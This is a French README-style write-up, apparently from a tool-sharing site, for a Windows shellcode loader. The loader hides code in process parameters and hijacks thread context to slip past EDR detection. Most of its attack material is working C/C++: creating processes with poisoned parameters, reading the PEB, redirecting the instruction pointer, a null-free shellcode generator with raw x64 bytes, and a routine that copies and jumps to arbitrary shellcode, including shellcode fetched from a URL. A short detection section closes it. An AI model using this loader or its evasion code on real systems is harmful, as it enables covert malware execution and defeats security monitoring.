
P³-Shellcode Loader est un chargeur qui implémente une technique d'injection de code utilisant la structure des paramètres de processus (Process Parameters) comme emplacement d'exécution et de mise en scène pour l'injection de shellcode dans des processus distants, sans déclencher les mécanismes de détection courants.
Auteurs : Max Hirschberger & Ogulcan Ugur
P³-Shellcode Loader est un chargeur qui implémente une technique d'injection de code exploitant la structure des paramètres de processus (Empoisonnement des paramètres de processus) comme emplacement d'exécution et de staging pour l'injection de shellcode dans des processus distants, sans déclencher les mécanismes de détection courants.
Un concept similaire a été décrit par le chercheur en sécurité modexp, qui a démontré que les arguments passés à l'API CreateProcess peuvent être utilisés à cette fin [1].
Les attaquants souhaitent rendre leurs activités moins suspectes. Avec l'injection de processus, les attaquants peuvent effectuer leurs activités depuis un processus différent, plus fiable ou attendu pour réaliser l'activité spécifique, réduisant ainsi les soupçons.
Voici les étapes typiques requises pour injecter du code dans un autre processus :
OpenProcess / NtOpenProcess ou CreateProcess / NtCreateProcess).VirtualAllocEx ou NtAllocateVirtualMemory).WriteProcessMemory / NtWriteVirtualMemory).VirtualProtectEx / NtProtectVirtualMemory).CreateRemoteThread ou NtCreateThreadEx).Les techniques d'injection supplémentaires incluent, sans s'y limiter, les suivantes :
NtSetContextThread)NtQueueApcThread)RtlCreateProcessReflection, qui implémente le forking de processus.
Lors de nos tests, nous avons observé que la plupart des EDR se concentrent sur une télémétrie spécifique pour détecter l'injection de processus. Les EDR surveillent principalement l'utilisation de WriteProcessMemory et VirtualAllocEx, ainsi que leurs appels système noyau sous-jacents NtWriteVirtualMemory, NtAllocateVirtualMemory et NtAllocateVirtualMemoryEx.Windows fournit la fonction API CreateProcessW pour créer de nouveaux processus, illustrée dans le Listing 1. Les trois premiers de ses paramètres lpCommandLine, lpEnvironment et lpStartupInfo sont pertinents pour la technique d'injection décrite, car ils sont utilisés pour transférer des données vers le nouveau processus.```c
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*Listing 1 : Définition de la fonction API Windows CreateProcessW*
Le paramètre `lpCommandLine` spécifie la ligne de commande du nouveau processus. Il est limité à un maximum de 32 767 caractères Unicode, y compris le terminateur nul Unicode. Pour la variante Unicode, il est nécessaire de fournir une chaîne que la fonction peut écrire. Si une chaîne constante est fournie, toute tentative d'écriture de la part de la fonction API entraîne une violation d'accès mémoire. Si la valeur est `NULL`, la ligne de commande du processus sera prise du paramètre `lpApplicationName`. Si `lpApplicationName` est `NULL`, elle doit être fournie dans le champ `lpCommandLine` et est limitée à `MAX_PATH` caractères.
Le paramètre `lpEnvironment` fournit une liste de variables d'environnement au processus. Si la valeur est `NULL`, l'environnement du processus créateur sera utilisé. La liste des variables d'environnement est constituée de chaînes terminées par un caractère nul successives au format `NOM=VALEUR` avec un autre terminateur nul à la fin.
Le paramètre `lpStartupInfo` est une structure présentée dans le Listing 2 avec des champs tels que la station de fenêtre, le bureau, les handles d'entrée et sortie standard ainsi que des champs qui configurent la fenêtre principale du nouveau processus. Selon la documentation Microsoft, le champ `lpReserved` est réservé à un usage interne sans documentation supplémentaire. Grâce à l'analyse avec le débogueur WinDbg, il a été possible de relier ce paramètre à la variable `ShellInfo` de type `UNICODE_STRING` dans le nouveau processus.```c
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
Liste 2 : Disposition de la structure de données STARTUPINFOW
Lors de la création d'un nouveau processus, tous les paramètres de processus fournis sont écrits dans le bloc d'environnement du processus (PEB). Le PEB est une structure de données présente dans tous les processus et unique à chaque processus. Les paramètres sont accessibles dans le membre ProcessParameters du type RTL_USER_PROCESS_PARAMETERS. Outre les paramètres de processus, cette structure contient également des informations d'exécution supplémentaires, telles qu'une liste des modules chargés. La structure du PEB et les paramètres de processus pertinents dans le RTL_USER_PROCESS_PARAMETERS sont présentés dans la Liste 3 et la Liste 4.```c
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
*Listing 3: Disposition de la structure de données PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
Listing 4 : Disposition de la structure de données RTL_USER_PROCESS_PARAMETERS
La figure 1 montre le paramètre ShellInfo avec la valeur de poison fournie dans le champ lpReserved de la structure STARTUPINFOW. De plus, la figure 2 montre la ligne de commande contrôlée dans l'outil System Informer.
Figure 1 : Paramètre ShellInfo empoisonné
Figure 2 : Ligne de commande empoisonnée
Étant donné qu'il existe plusieurs paramètres pouvant être utilisés pour copier le code malveillant, la fonction d'encapsulation dans le listing 5 crée un processus avec l'argument poison fourni au paramètre de processus choisi. Lors de l'exécution de l'injecteur implémenté, ce choix peut être effectué comme le montre la figure 3. De plus, n'importe quelle valeur peut être fournie pour l'application cible qui sera utilisée dans lpApplication, avec l'invite utilisateur illustrée à la figure 4.```cpp
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
*Liste 5 : Implémentation de CreateProcessWithPoison*
Cette fonction implémente trois choix de paramètres distincts :
1. **Injection dans ShellInfo :** Place le poison dans le champ `lpReserved` du paramètre `lpStartupInfo` qui sera copié dans la variable `ShellInfo` du PEB
2. **Injection dans l'environnement :** Place le poison dans le paramètre `lpEnvironment` avec le flag `CREATE_UNICODE_ENVIRONMENT`
3. **Injection dans la ligne de commande :** Place le poison dans le paramètre `lpCommandLine` de `CreateProcessW`
<img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
*Figure 3 : Sélection du paramètre empoisonnable*
<img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />
*Figure 4 : Sélection de l'exécutable applicatif ciblé*
### 4.2 Localisation des données injectées dans le nouveau processus
Après une création réussie du processus, les données injectées peuvent être trouvées via la structure PEB. Les trois étapes suivantes sont nécessaires pour localiser le poison dans le nouveau processus.
Tout d'abord, l'adresse de départ de la structure PEB est déterminée en appelant `NtQueryInformationProcess`. `NtQueryInformationProcess` récupère la structure de données `PROCESS_BASIC_INFORMATION` lorsqu'elle est appelée avec la classe d'information `ProcessBasicInformation`. Et `PROCESS_BASIC_INFORMATION` contient l'adresse du PEB dans le champ `PebBaseAddress`. Cette étape est montrée dans la Liste 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
Listing 6 : Première étape de localisation des données injectées
Dans la deuxième étape, la structure PEB est lue en appelant NtReadVirtualMemoryEx avec l'adresse de départ de la structure qui a été récupérée dans la première étape. L'implémentation de la deuxième étape est présentée dans le Listing 7.```cpp
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
*Listing 7 : Deuxième étape de localisation des données injectées*
Après avoir lu le PEB, le champ `ProcessParameters` contient l'adresse de départ de la structure `RTL_USER_PROCESS_PARAMETERS` dans le nouveau processus. Dans la troisième étape, cette structure est également lue à partir du nouveau processus. Les pointeurs vers les données injectées se trouvent dans cette structure. La troisième étape est présentée dans le Listing 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
Liste 8 : Troisième étape de la localisation des données injectées
Cette approche utilise uniquement des API de lecture mémoire et aucune API d’écriture ou d’allocation que les EDR surveillent. Cependant, il existe une limitation imposée par les paramètres. Étant donné que ces paramètres sont des chaînes terminées par un caractère nul, seul un shellcode sans terminateur nul peut être entièrement transféré. Une solution pour surmonter cette limitation est présentée dans la section 5.
Après le transfert du code, l’exécution du processus doit encore être dirigée vers le code. De plus, la protection mémoire des données injectées doit être ajustée, car les paramètres ne sont pas placés dans des régions marquées comme exécutables.
Pour modifier la protection, l’API Windows NtProtectVirtualMemory est utilisée pour passer de la protection en lecture/écriture à la protection en lecture/exécution uniquement.
Pour rediriger l’exécution du code vers le shellcode, les trois méthodes suivantes existent :
CreateRemoteThread / NtCreateThreadEx : Crée un nouveau thread qui démarre sur le shellcodeQueueUserAPC / NtQueueApcThread : Place un APC dans la file d’attente d’un thread existant, ce qui finit par le rediriger vers le shellcodeLors de l’implémentation initiale de cette technique, l’approche Dirty Vanity a été évaluée pour exécuter le code. Cependant, plusieurs EDR ont déclenché des alertes pour cette méthode.
Un examen détaillé de l’implémentation de RtlCreateProcessReflection a révélé qu’elle appelle NtWriteVirtualMemory et NtCreateThreadEx. Essentiellement, elle crée un thread dans un processus cible pour exécuter une fonction dans ntdll.dll. Cette fonction crée le processus forké en appelant RtlCloneUserProcess et effectue également une écriture mémoire dans le processus forké.
Étant donné que NtWriteVirtualMemory est l’un des indicateurs principaux utilisés par les EDR, la méthode Dirty Vanity ne fait qu’éveiller des soupçons au-delà du nécessaire.
Au lieu de cela, la manipulation du contexte du thread principal est utilisée, car elle présente les avantages suivants par rapport à Dirty Vanity :
CreateProcessW fournit déjà un handle valide pour le thread principal dans la structure PROCESS_INFORMATION. Un handle est un objet de référence abstrait que le noyau fournit pour interagir avec les ressources système, telles que les processus, les threads et les fichiers. Les handles sont essentiellement des index dans des tables de handles spécifiques au processus qui associent chaque handle à un objet dans le noyau avec un niveau d’accès associé à l’objet.NtWriteVirtualMemory, VirtualAllocEx et CreateRemoteThread ne sont jamais utilisés, seul NtSetContextThread est appelé.Le contexte d’un thread est l’état de tous les registres du processeur. Il est donc possible de rediriger le flux d’exécution d’un thread en manipulant son contexte, c’est-à-dire en modifiant le registre du pointeur d’instruction. Généralement, le contexte du thread est manipulé selon les étapes suivantes :
SuspendThread, soit en le créant dans un état suspenduCONTEXT via GetThreadContextRIPSetThreadContextResumeThread est appelé pour reprendre l’exécution du thread à la nouvelle valeur de RIPLe contexte d’un thread peut être modifié sans le suspendre au préalable. Il n’est donc pas nécessaire d’appeler SuspendThread et ResumeThread, qui pourraient être surveillées par les EDR pour l’injection de processus. De plus, l’appel à GetThreadContext peut également être ignoré, si l’exécution antérieure n’a pas besoin d’être restaurée ultérieurement. L’implémentation résultante est présentée dans la Liste 9.```cpp
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
return status;
}
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
return status;
}
return 0;
}
*Listing 9: Manipulation du contexte de thread dans ThreadSetExec*
### 4.4 Injections de charge utile implémentées
Notre implémentation de cette technique d'injection inclut les quatre options de charge utile suivantes, illustrées dans la Figure 5.
1. La première option est une simple démo qui affiche une fenêtre contextuelle et est montrée dans la Figure 5. Cette option ne nécessite aucun shellcode ou fichier exécutable supplémentaire à injecter.
2. La deuxième option prend une représentation hexadécimale d'un shellcode et l'injecte. Si le shellcode contient des octets nuls, il est injecté avec la méthode décrite dans la Section 5.
3. La troisième option accepte un chemin vers un fichier DLL qui est ensuite fourni à `LoadLibraryA` dans la cible.
4. Enfin, la quatrième option charge un shellcode brut depuis une URL HTTP(S) et gère également la limitation des octets nuls.
<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />
*Figure 5: Choix du shellcode injecté*
<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />
*Figure 6 : Boîte de message créée par le shellcode*
---
## 5. Passage d'un shellcode arbitraire dans une chaîne
Il n'est pas possible de passer des données arbitraires dans les paramètres. En effet, seules les données jusqu'à un terminateur nul sont copiées. Pour surmonter cette limitation, nous avons construit un générateur de shellcode qui n'émet pas de terminateurs nuls.
Ce générateur de shellcode peut créer un shellcode pour appeler `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` ou `NtSuspendThread` avec des paramètres arbitraires. De plus, il peut générer un shellcode qui décode un shellcode de deuxième étape arbitraire et saute dessus.
Il est implémenté dans la classe C++ `ShellCodeWriter` avec des méthodes d'aide privées et des méthodes publiques pour la fonctionnalité exposée. Les détails d'implémentation seront expliqués dans ce qui suit.
### 5.1 Méthodes d'aide de bas niveau utilisées par le générateur de shellcode
`Xor` est utilisé comme primitive qui permet au shellcode de générer n'importe quelle donnée, y compris des octets nuls. Cette primitive est implémentée dans la méthode d'aide `SetRAXXOR` qui prend deux valeurs 64 bits. Elle émet un shellcode qui effectue une opération xor avec les deux valeurs 64 bits données et enregistre le résultat dans le registre `RAX`.
La méthode d'aide supplémentaire `SetRAX` crée ces deux valeurs 64 bits qui, lorsqu'elles sont xorées, donnent une valeur donnée. Elle garantit également que ces deux valeurs 64 bits ne contiennent aucun octet nul. En substance, `SetRAX` émet un shellcode qui définira le registre `RAX` sur une valeur 64 bits arbitraire.
`SetRAXXOR` et `SetRAX` sont tous deux montrés dans le Listing 10. De plus, le code machine résultant de trois appels d'exemple `SetRAX` est montré dans le Listing 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
Liste 10: Implémentation de SetRAXXOR et SetRAX```asm ; SetRAX(0) xor rax, rax
; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15
; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15
*Listing 11: Exemples de code émis par SetRAX*
`SetRAX` est la base des méthodes auxiliaires `PushValue`, `PushBuffer`, `SetArgRegister` et `SetArgRegisterStackRelative`. `PushValue` appelle `SetRAX` et le suit d'une instruction `push RAX` qui permet donc de pousser des valeurs arbitraires sur la pile. `PushBuffer` utilise `PushValue` pour écrire un tableau arbitraire d'octets sur la pile ; pour cela, il divise les données en valeurs 64 bits et les pousse dans l'ordre inverse. L'ordre doit être inversé, car le pointeur de pile est décrémenté après chaque push. Le générateur de shellcode suit le nombre d'octets poussés via la variable `m_total_consumed_stack_bytes`. Cette variable est utilisée dans la méthode auxiliaire `FreeStack` pour nettoyer la pile, en ramenant le pointeur de pile à sa valeur initiale.
Dans l'interface binaire d'application Windows 64 bits x86, les registres `RCX`, `RDX`, `R8` et `R9` sont utilisés pour les quatre premiers arguments lors de l'appel d'une fonction. Les arguments supplémentaires sont poussés sur la pile, après un espace fantôme de 32 octets. L'espace fantôme est réservé pour la fonction appelée et est utilisé pour sauvegarder les quatre premiers registres d'arguments. `SetArgRegister` et `SetArgRegisterStackRelative` sont utilisés pour définir l'un de ces quatre registres d'arguments. `SetArgRegister` affecte à un registre donné une valeur constante arbitraire. Et le code généré par `SetArgRegisterStackRelative` écrit le pointeur de pile plus un décalage constant dans le registre d'argument correspondant. Tout argument supplémentaire de fonction peut être poussé avec la méthode auxiliaire `PushValue`.
La méthode auxiliaire `Call` émet un code qui aligne le pointeur de pile sur 16 octets, puis effectue un appel à l'adresse donnée et enfin annule tout changement d'alignement initialement effectué. Un pointeur de pile aligné sur 16 octets est nécessaire pour éviter les plantages dans les fonctions qui utilisent des opérations sur les registres à virgule flottante XMM. Lors de l'appel de fonctions avec des arguments passés sur la pile, l'alignement doit être correct avant d'appeler cette auxiliaire. Sinon, les arguments se retrouvent au mauvais décalage sur la pile.
### 5.2 Implémentation des opérations de plus haut niveau
L'opération la plus simple est l'appel à `NtTerminateProcess` ou `NtSuspendThread`. En raison de leur similitude, seul `NtTerminateProcess` sera traité, comme indiqué dans la liste 12. `NtTerminateProcess` prend deux paramètres et suit la convention d'appel x64. D'abord, l'auxiliaire `SetArgRegister` est appelée pour les deux paramètres, afin de les initialiser avec les valeurs fournies. Ensuite, la fonction API est appelée.
Étant donné que le shellcode est généré sur la même machine, l'adresse de la fonction est résolue au moment de la génération et non à l'intérieur du shellcode. La résolution des fonctions API est gérée par la classe `WinApiResolver`. Enfin, la méthode auxiliaire `Call` génère l'instruction d'appel et le code d'alignement de la pile.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
Listing 12 : Implémentation de ShellCodeWriter::CallTerminateProcess
Les fonctions qui prennent des valeurs de pointeur telles que LoadLibraryA et MessageBoxA ne peuvent pas être utilisées de la même manière. Cela est dû au fait qu'une adresse mémoire valide est requise, qui n'est pas connue au moment de la génération du shellcode. Par conséquent, l'assistant SetArgRegisterStackRelative est utilisé pour définir l'argument sur une adresse dans la pile. Dans le Listing 13, la chaîne du paramètre module est écrite sur la pile et le premier registre d'argument est défini pour pointer vers le début de la chaîne du module sur la pile. De plus, la fonction déplace le pointeur de pile de 32 octets pour tenir compte de l'espace d'ombre. Sans cela, la fonction appelée écraserait la chaîne du module.```cpp
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
*Listing 13 : Implémentation de ShellCodeWriter::CallLoadLibraryA*
Finalement, `LoadAndCallShellCode` prend un shellcode arbitraire qui peut inclure des octets nuls et l'exécute. Son implémentation est présentée dans les Listings 14 et 15 et est divisée en cinq opérations suivantes :
1. Le shellcode arbitraire est écrit sur la pile via `PushBuffer`. Ensuite, l'espace d'ombre est alloué pour protéger le shellcode d'être écrasé.
2. Ensuite, un simple appel à `VirtualAlloc` est effectué en utilisant des paramètres déjà connus au moment de la génération. Cet appel d'API alloue une mémoire protégée en lecture-écriture et pouvant contenir le shellcode.
3. Ensuite, l'adresse mémoire retournée par `VirtualAlloc` est sauvegardée dans les deux registres `R12` et `R10`. Puis `R11` est initialisé à la taille du shellcode et `RCX` est défini pour pointer vers le début du shellcode. Avec les registres `R10`, `R11` et `RCX` définis, six instructions suivent qui effectuent une copie mémoire, copiant le shellcode dans la région mémoire nouvellement allouée.
4. Sauter vers le shellcode n'est pas encore possible, car la région mémoire est protégée en lecture-écriture. Il est possible d'allouer une région lisible, écriture et exécutable, mais cela serait plus susceptible d'être considéré comme suspect. Par conséquent, un appel à `VirtualProtect` est effectué pour changer la protection en lisible et exécutable mais non inscriptible.
5. Et enfin, un saut vers le shellcode est effectué, après s'être assuré que la pile est correctement alignée.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
// 1. Pushes the shellcode to the stack
PushBuffer(shellcode.data(), shellcode.size());
int pos_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// 2. Allocates READWRITE memory
CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size());
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
// (...)
Listing 14: Implémentation de ShellCodeWriter::LoadAndCallShellCode (étapes 1 à 3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }
if (m_total_consumed_stack_bytes % 16)
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
*Listing 15 : Implémentation de ShellCodeWriter::LoadAndCallShellCode (Étapes 4–5)*
---
## 6. Avantages de l'évitement de détection par cette technique
Un avantage majeur de cette technique est qu'aucun processus n'est créé dans un état suspendu et qu'aucun thread ou processus n'est suspendu lors de son exécution. La création de processus suspendus ou les appels répétés à `SuspendThread` sont des indicateurs connus utilisés par les EDR pour le process hollowing, l'injection de processus et les attaques similaires.
De plus, en créant le processus cible, un handle pour le thread principal est déjà disponible et dispose de l'accès requis pour modifier son contexte.
| Aspect | Injection classique | Empoisonnement des paramètres de processus |
|---|---|---|
| Allocation mémoire | `VirtualAllocEx` requise | Aucune allocation explicite |
| Écriture mémoire | `WriteProcessMemory` requise | Indirecte via `CreateProcessW` |
| Redirection d'exécution | `CreateRemoteThread` ou APC | `SetThreadContext` |
| Probabilité de détection | Élevée (nombreuses API suspectes) | Réduite (création de processus bénigne) |
| Télémétrie EDR | Surveillée de près | Observabilité réduite |
Dans l'ensemble, cette technique suscite beaucoup moins de suspicions car elle laisse une empreinte plus réduite en utilisant des API légitimes de création de processus et de gestion de threads.
---
## 7. Approche de détection
Il existe plusieurs indicateurs suspects générés par cette technique, qui peuvent être utilisés pour la détecter.
- `VirtualProtectEx` qui rend une région mémoire exécutable suivi de `SetThreadContext` avec au moins `CONTEXT_CONTROL`. Il est à noter que le pointeur d'instruction n'a pas besoin de pointer vers cette région exécutable, car il peut plutôt pointer vers un gadget qui le redirige ensuite. Cependant, il est très probable qu'un pointeur dans la région mémoire soit écrit dans l'un des registres CPU.
- `VirtualProtectEx` qui rend exécutables des pages des paramètres de processus, à la fois dans le processus lui-même et dans des processus externes.
- Création d'un processus où l'un des trois paramètres abusés soulève des soupçons. Par exemple, si l'entropie de la ligne de commande est proche de l'entropie du shellcode ou éloignée de l'entropie d'une valeur de ligne de commande normale. De plus, la longueur du paramètre fourni est excessive ou de nombreux caractères inhabituels y seront présents. Cependant, se fier uniquement à cela est probablement sujet à de faux positifs.
- Lecture de la structure des paramètres de processus d'un processus distant vers laquelle le PEB possède un pointeur.
---
## 8. Conclusion
En résumé, les attaquants peuvent contourner les solutions de sécurité modernes grâce à de nouvelles idées et de petites modifications, soit en développant de nouvelles techniques, soit en réutilisant d'anciennes techniques de manière novatrice. Il est donc important de développer continuellement de nouvelles règles de détection et de ne pas se fier uniquement à une solution existante.
---
## 9. Références
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/